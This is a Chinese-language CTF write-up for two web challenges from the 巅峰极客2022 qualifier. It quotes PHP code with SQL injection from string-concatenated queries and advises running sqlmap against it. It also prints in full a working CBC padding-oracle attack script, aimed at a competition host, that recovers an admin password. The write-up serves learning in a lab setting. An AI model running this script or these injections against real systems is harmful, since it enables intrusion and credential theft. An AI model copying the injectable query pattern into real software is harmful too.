巅峰极客2022-初赛

好热

ezWeb

看题目附件给的sh文件

#!/bin/bash

export FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh

显然这道题把flag分为了两个部分存储在数据库中,我们可以分别通过寻找approver和crawler两个用户的注入点来获取flag。直接拉源码来对比,很容易发现/ban/ban.php的第一处注入点

$link = mysqli_connect('localhost', 'crawler', 'seekout');
.
.
.
if($delete == 'on')
    {
        $sql = "DELETE FROM windex WHERE url = '".$url."'";
    }
    else
    {
        $sql = "UPDATE windex SET enable = 0 WHERE url = '".$url."'";
    }

然后在/readf/feedback.php发现第二处注入点

$link = mysqli_connect('localhost', 'approver', 'foobar');
.
.
.
    if (isset($_POST['startid']) && $_SESSION["loadfeedback"]==false) //this is incase any new submissions are made during the review process, they will be ignored   
    {  
        $result = mysqli_query($link,"SELECT * FROM feedback WHERE id >= '".$startID."' AND id <= '".$endID."'");
        if(!$result)
        {
          $error = 'Error fetching index: ' . mysqli_error($link);  
          include 'error.html.php';  
          exit(); 
        }
    }

然后直接跑sqlmap就行了

babyweb

题目提示了admin_passsword字段存在cbc padding oracle 的洞,直接github上找个脚本跑就行了
https://github.com/pollev/padbuster_python

#!/usr/bin/env python3

import requests
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import long_to_bytes
import base64
import sys

# ------------------------------- FILL IN -----------------------------
url = 'http://eci-2zecixvhmw3gdetmy9vc.cloudeci1.ichunqiu.com/login'
block_size = 16
IV = long_to_bytes(int('ac85d4debd6c02e8cc4c7c837f87be43',16))

# This tool assumes that the sever expects the token in the form of a cookie. Here you can specify the name of the cookie
cookie_name = 'admin_password'

# This tool will look for the following string in the response from the padding oracle
# If it finds the response, it will consider that the padding is incorrect, if not, that the padding is correct
bad_padding_response = 'padding error.'

# Only for decrypt
original_token = 'rIXU3r1sAujMTHyDf4e+Q1H7uGHIKSnXcbwn3xDMf0MAu9j182/ElUfj1ar/CTUFLZMCsvCRZHIllutENC65ZA=='
# Only for encrypt
original_plaintext = 'username=admin'
# ---------------------------------------------------------------------

plaintext_token = b''
offset=0

def b64decode_padding(data):
    missing_padding = len(data) % 4
    if missing_padding:
        data += '='* (4 - missing_padding)
    decoded = base64.b64decode(data)
    return decoded

def b64urldecode_padding(data):
    missing_padding = len(data) % 4
    if missing_padding:
        data += '='* (4 - missing_padding)
    decoded = base64.urlsafe_b64decode(data)
    return decoded

def test_token(token):
    if isinstance(token, list):
        token = b''.join(token)
    #print(f"testing token: {token.hex()}")
    token_encoded = base64.b64encode(token).decode()
    #token_encoded = token_encoded.replace("+","%2B")
    #token_encoded = token_encoded.replace("=","%3D")
    #print(token_encoded)
    #print(token_encoded)
    cookies = {
        cookie_name : token_encoded,
        'session' : 'eyJhZG1pbl9wYXNzd29yZCI6InJJWFUzcjFzQXVqTVRIeURmNGUrUTFIN3VHSElLU25YY2J3bjN4RE1mME1BdTlqMTgyL0VsVWZqMWFyL0NUVUZMWk1Dc3ZDUlpISWxsdXRFTkM2NVpBPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvymfw.7qC-CrMsxFwEzaRlmhnV_TH6KL0;'
        }
    burp0_data = {"username": "admin", "password": "admin"}
    response = requests.post(url, cookies=cookies, data=burp0_data)
    #print(response.text)
    if bad_padding_response in response.text:
        return False
    else:
        #print(1)
        return True

def tamper_and_test_byte_in_block(block_list, block_index, byte_index):
    block_index = len(block_list) - block_index -1
    pre_block = block_list[0:block_index]
    target_block = block_list[block_index]
    post_block = block_list[block_index+1:len(block_list)]

    modified_block = target_block[0:byte_index] + bytes([target_block[byte_index] +1 % 256]) + target_block[byte_index+1:block_size]
    test_block_list = pre_block
    test_block_list.append(modified_block)
    test_block_list = test_block_list + post_block
    #print(f"block split: {[i.hex() for i in test_block_list]}")
    return test_token(test_block_list)

def determine_nr_of_padding_bytes(block_list):
    print("Determining nr of padding bytes...")
    for i in range(0,block_size):
        success = tamper_and_test_byte_in_block(block_list, 1, i)
        if not success:
            print(f"detected number of padding bytes: {block_size - i}")
            return block_size - i
    print("[-] Failed to determine number of padding bytes in token to decrypt (token is bad or padding oracle is not working)")
    exit()

def increment_padding_bytes(token, nr_padding_bytes):
    xor_val = nr_padding_bytes ^ (nr_padding_bytes + 1)
    #print(f"Incrementing byte padding to {nr_padding_bytes+1}")
    for i in range(0, nr_padding_bytes):
        index = len(token)-i-1-block_size
        token = token[0:index] + bytes([token[index] ^ xor_val]) + token[index+1:len(token)]
    return token

def convert_padding_bytes(token, nr_padding_bytes, plaintext):
    #print(f"Converting byte padding to plaintext {plaintext}")
    for i in range(0, nr_padding_bytes):
        index = len(token)-i-1-block_size
        xor = nr_padding_bytes ^ plaintext[len(plaintext)-i-1]
        token = token[0:index] + bytes([token[index] ^ xor]) + token[index+1:len(token)]
    return token

def decrypt_byte(token, nr_padding_bytes):
    global plaintext_token
    index=len(token)-nr_padding_bytes-1-block_size
    #print(f"tampering with byte {offset-(2*block_size)+index+1} to spoof byte {offset-(2*block_size)+index+1+block_size} to padding value {nr_padding_bytes+1}")
    for i in range(0, 256):
        old_byte = token[index]
        updated_byte = i
        print(f"\r Testing byte value {abs(i-256)} -> ascii {bytes([(nr_padding_bytes+1) ^ i ^ old_byte])}                  ", end='')
        new_token = token[0:index] + bytes([updated_byte]) + token[index+1:len(token)]
        if test_token(new_token):
            print("\r                                                                                                                       \r", end='')
            plaintext_byte = bytes([(nr_padding_bytes+1) ^ i ^ old_byte])
            print(f"[+] decrypted byte {offset-block_size-nr_padding_bytes}: {plaintext_byte}")
            plaintext_token = plaintext_byte + plaintext_token
            return new_token
    print("[-] No valid result from oracle for any of the 256 bytes. If you are sure the oracle works properly, verify your encoding or communication with the oracle")
    exit()

def encrypt_byte(token, nr_padding_bytes):
    index=len(token)-nr_padding_bytes-1-block_size
    for i in range(0, 256):
        old_byte = token[index]
        updated_byte = i
        print(f"\r Testing byte value {abs(i-256)}                  ", end='')
        new_token = token[0:index] + bytes([updated_byte]) + token[index+1:len(token)]
        if test_token(new_token):
            print("\r                                                                                                                       \r", end='')
            print(f"[+] Found next padding byte (for byte {offset-nr_padding_bytes})")
            return new_token
    print("[-] No valid result from oracle for any of the 256 bytes. If you are sure the oracle works properly, verify your encoding or communication with the oracle")
    exit()

def decrypt_last_block(token, nr_padding_bytes):
    global plaintext_token
    print("")
    print(f"Decrypting block {int(offset/block_size)}")
    while nr_padding_bytes < block_size:
        token = increment_padding_bytes(token, nr_padding_bytes)
        token = decrypt_byte(token, nr_padding_bytes)
        nr_padding_bytes = nr_padding_bytes + 1
    print(f"[+] Block decrypted!")
    print(f"[+] intermediate plaintext: {plaintext_token}")

def encrypt_last_block(token, nr_padding_bytes, plaintext_block):
    print("")
    print(f"Encrypting block {int(offset/block_size)}")
    while nr_padding_bytes < block_size:
        token = increment_padding_bytes(token, nr_padding_bytes)
        token = encrypt_byte(token, nr_padding_bytes)
        nr_padding_bytes = nr_padding_bytes + 1

    print(f"[+] Created full padding block")
    encrypted_token = convert_padding_bytes(token, nr_padding_bytes, plaintext_block)
    print(f"[+] Block encrypted!")
    return encrypted_token

def decrypt_all(token):
    global offset
    block_list = [token[i:i+block_size] for i in range(0, len(token), block_size)]

    print("STARTING BLOCK DECRYPTION (last block first)")

    # Optimalisation for the last block
    offset = len(token)
    print("Using optimization for last block by detecting padding bytes")
    nr_padding_bytes = determine_nr_of_padding_bytes(block_list)
    decrypt_last_block(token, nr_padding_bytes)

    offset = len(token)-block_size
    while offset > block_size:
        # Send 2 blocks at a time
        decrypt_last_block(token[offset-(2*block_size):offset], 0)
        offset = offset - block_size

    print("")
    print("The final block can only be decoded if the IV is known. (If not known, you can try a block of null bytes)")
    print(f"Trying decoding with IV {IV}")
    decrypt_last_block(IV+token[0:block_size], 0)

def encrypt_all(plain_token):
    global offset
    offset = len(plain_token)
    encrypted_token = b'0'*(2*block_size)
    plaintext_block = plain_token[offset-block_size:offset]
    encrypted_token = encrypt_last_block(encrypted_token, 0, plaintext_block)
    full_token = encrypted_token
    print(f"[+] intermediate encrypted token: {full_token.hex()}")

    offset = offset - block_size
    while offset > 0:
        encrypted_token = (b'0'*block_size) + full_token[0:block_size]
        plaintext_block = plain_token[offset-block_size:offset]
        encrypted_token = encrypt_last_block(encrypted_token, 0, plaintext_block)
        full_token = encrypted_token[0:block_size] + full_token
        offset = offset - block_size
        print(f"[+] intermediate encrypted token: {full_token.hex()}")

    return full_token

def decrypt():
    bad_payload = b'0'*block_size
    if test_token(bad_payload):
        print("[-] Padding oracle indicates valid padding for impossible token. Please make sure you properly specified all required information.")
        exit()

    global original_token
    original_token = original_token.replace("%2B","+")
    original_token = original_token.replace("%3D","=")
    original_token_dec = b64decode_padding(original_token)
    block_list = [original_token_dec[i:i+block_size] for i in range(0, len(original_token_dec), block_size)]
    print(f"original token hex: {original_token_dec.hex()}")
    print(f"block split: {[i.hex() for i in block_list]}")
    print("")

    decrypt_all(original_token_dec)
    print(f"plaintext token: {plaintext_token}")

def encrypt():
    bad_payload = b'0'*block_size
    if test_token(bad_payload):
        print("[-] Padding oracle indicates valid padding for impossible token. Please make sure you properly specified all required information.")
        exit()

    padding_length = block_size - (len(original_plaintext) % block_size)
    plaintext_padding_bytes = bytes([padding_length])*padding_length
    token = original_plaintext.encode() + plaintext_padding_bytes
    print(f"original plaintext + padding: {token}")
    print(f"hexed plaintext + padding: {token.hex()}")
    block_list = [token[i:i+block_size] for i in range(0, len(token), block_size)]
    print(f"block split: {[i.hex() for i in block_list]}")
    print("")

    encrypted_token = encrypt_all(token)
    token_encoded = base64.b64encode(encrypted_token).decode()
    #token_encoded = token_encoded.replace("+","%2B")
    #token_encoded = token_encoded.replace("=","%3D")
    print(f"encrypted token: {token_encoded}")

def usage():
    print("Python padbuster usage:")
    print(f"{sys.argv[0]} [encrypt|decrypt]")
    print("")
    print("You must also edit the script and update all values in the section marked 'FILL IN'.")
    print("This tool also assumes that the server is using a cookie to store the CBC token in a base64 encoded format")
    print("If this is not the case, you might need to tinker with the functions 'encrypt', 'decrypt' and 'test_token' to supply the data in your desired format")

#test_token(b64decode_padding(original_token))

if len(sys.argv) != 2:
    print("Bad number of arguments!")
    usage()
else:
    if sys.argv[1] == "encrypt":
        encrypt()
    elif sys.argv[1] == "decrypt":
        decrypt()
    else:
        usage()

#key = b'Kt\xad\x16&\xd8\x80\xe9\xfa\xdf#\x8da\x89\x9dO065a3bbd-975e-4f77-87c0-dbe6a61a83fc'

得到密码065a3bbd-975e-4f77-87c0-dbe6a61a83fc,登录之后直接有flag🌶

上一篇
下一篇